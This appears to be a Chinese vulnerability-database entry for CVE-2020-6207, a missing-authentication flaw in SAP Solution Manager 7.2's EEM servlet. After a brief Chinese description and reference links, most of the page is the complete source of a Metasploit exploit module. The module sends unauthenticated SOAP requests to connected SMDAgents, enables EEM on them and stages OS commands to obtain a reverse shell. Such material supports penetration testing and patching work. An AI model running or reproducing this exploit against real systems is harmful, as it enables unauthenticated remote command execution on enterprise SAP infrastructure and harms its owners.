sap solution manager 安全漏洞

漏洞ID 1956242 漏洞类型 访问控制错误
发布时间 2021-03-27 更新时间 2021-06-16
CVE编号 CVE-2020-6207 CNNVD-ID CNNVD-202003-599
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2021030183


http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-599

|漏洞详情
SAP Solution Manager是德国思爱普(SAP)公司的一套集系统监控、SAP支持桌面、自助服务、ASAP实施等多个功能为一体的系统管理平台。该平台可以帮助客户建立SAP解决方案的生命周期管理,并提供系统监控、远程支持服务和SAP产品组件升级等功能。 SAP Solution Manager (User Experience Monitoring) 7.2版本中存在安全漏洞,该漏洞源于程序没有对服务进行任意的身份验证。攻击者可利用该漏洞入侵所有连接Solution Manager的SMDAgents。
|漏洞EXP
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::SapSolManEemMissAuth
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SAP Solution Manager remote unauthorized OS commands execution',
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability
            'Pablo Artuso', # @lmkalg The researcher who originally found this vulnerability
            'Dmitry Chastuhin', # @chipik The researcher who made first PoC
            'Vladimir Ivanov' # @_generic_human_ This Metasploit module
          ],
        'Description' => %q{
          This module exploits the CVE-2020-6207 vulnerability within the SAP EEM servlet (tc~smd~agent~application~eem) of
          SAP Solution Manager (SolMan) running version 7.2. The vulnerability occurs due to missing authentication
          checks when submitting a SOAP request to the /EemAdminService/EemAdmin page to get information about connected SMDAgents,
          send HTTP request (SSRF) and execute OS command on connected SMDAgent. Works stable in connected SMDAgent with Java version 1.8.

          Successful exploitation will allow unauthenticated remote attackers to get reverse shell from connected to the SolMan
          agent as the user under which it runs SMDAgent service, usually daaadm.
        },
        'References' =>
          [
            ['CVE', '2020-6207'],
            ['URL', 'https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf'],
            ['URL', 'https://github.com/chipik/SAP_EEM_CVE-2020-6207']
          ],
        'Privileged' => false,
        'Targets' => [
          [
            'Linux',
            {
              'Arch' => [ARCH_X64, ARCH_X86],
              'Platform' => 'linux',
              'CmdStagerFlavor' => ['printf', 'echo', 'bourne']
            }
          ],
          [
            'Windows',
            {
              'Arch' => [ARCH_X64, ARCH_X86],
              'Platform' => 'win',
              'CmdStagerFlavor' => ['certutil', 'vbs', 'debug_write', 'debug_asm']
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-10-03'
      )
    )

    register_options(
      [
        Opt::RPORT(50000),
        OptString.new('TARGETURI', [true, 'Path to the SAP Solution Manager EemAdmin page from the web root', '/EemAdminService/EemAdmin']),
        OptString.new('AGENT', [true, 'Agent server name for exploitation', 'agent_server_name']),
      ]
    )
  end

  def setup_variables
    @host = datastore['RHOSTS']
    @port = datastore['RPORT']
    @path = datastore['TARGETURI']

    @agent_name = datastore['AGENT']
    @script_name = Rex::Text.rand_text_alphanumeric(12)

    if datastore['SSL']
      @schema = 'https://'
    else
      @schema = 'http://'
    end

    @solman_uri = "#{@schema}#{@host}:#{@port}#{@path}"
  end

  def execute_command(cmd, _opts = {})
    setup_variables

    vprint_status("Start script: #{@script_name} with RCE payload on agent: #{@agent_name}")
    send_soap_request(make_soap_body(@agent_name, @script_name, make_rce_payload(cmd)))

    vprint_status("Stop script: #{@script_name} on agent: #{@agent_name}")
    stop_script_in_agent(@agent_name, @script_name)

    vprint_status("Delete script: #{@script_name} on agent: #{@agent_name}")
    delete_script_in_agent(@agent_name, @script_name)
  end

  # Report Service and Vulnerability
  def report_service_and_vuln
    report_service(
      host: @host,
      port: @port,
      name: 'soap',
      proto: 'tcp',
      info: 'SAP Solution Manager'
    )
    report_vuln(
      host: @host,
      port: @port,
      name: name,
      refs: references
    )
  end

  def check
    setup_variables
    begin
      agents = make_agents_array
    rescue RuntimeError
      return Exploit::CheckCode::Safe
    end
    if agents.empty?
      print_status("Solution Manager server: #{@host}:#{@port} is vulnerable but no agents are connected!")
    else
      print_good("Successfully retrieved agent list:\n#{pretty_agents_table(agents)}")
    end
    report_service_and_vuln
    Exploit::CheckCode::Vulnerable
  end

  def exploit
    setup_variables
    check_agent(@agent_name)

    print_status("Enable EEM on agent: #{@agent_name}")
    enable_eem(@agent_name)

    report_service_and_vuln
    execute_cmdstager
  end

end

|参考资料

来源:MISC

链接:https://launchpad.support.sap.com/#/notes/2890213

来源:MISC

链接:https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=540935305

来源:nvd.nist.gov

链接:https://nvd.nist.gov/vuln/detail/CVE-2020-6207

声明:本站(华域联盟www.cnhackhy.com)所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。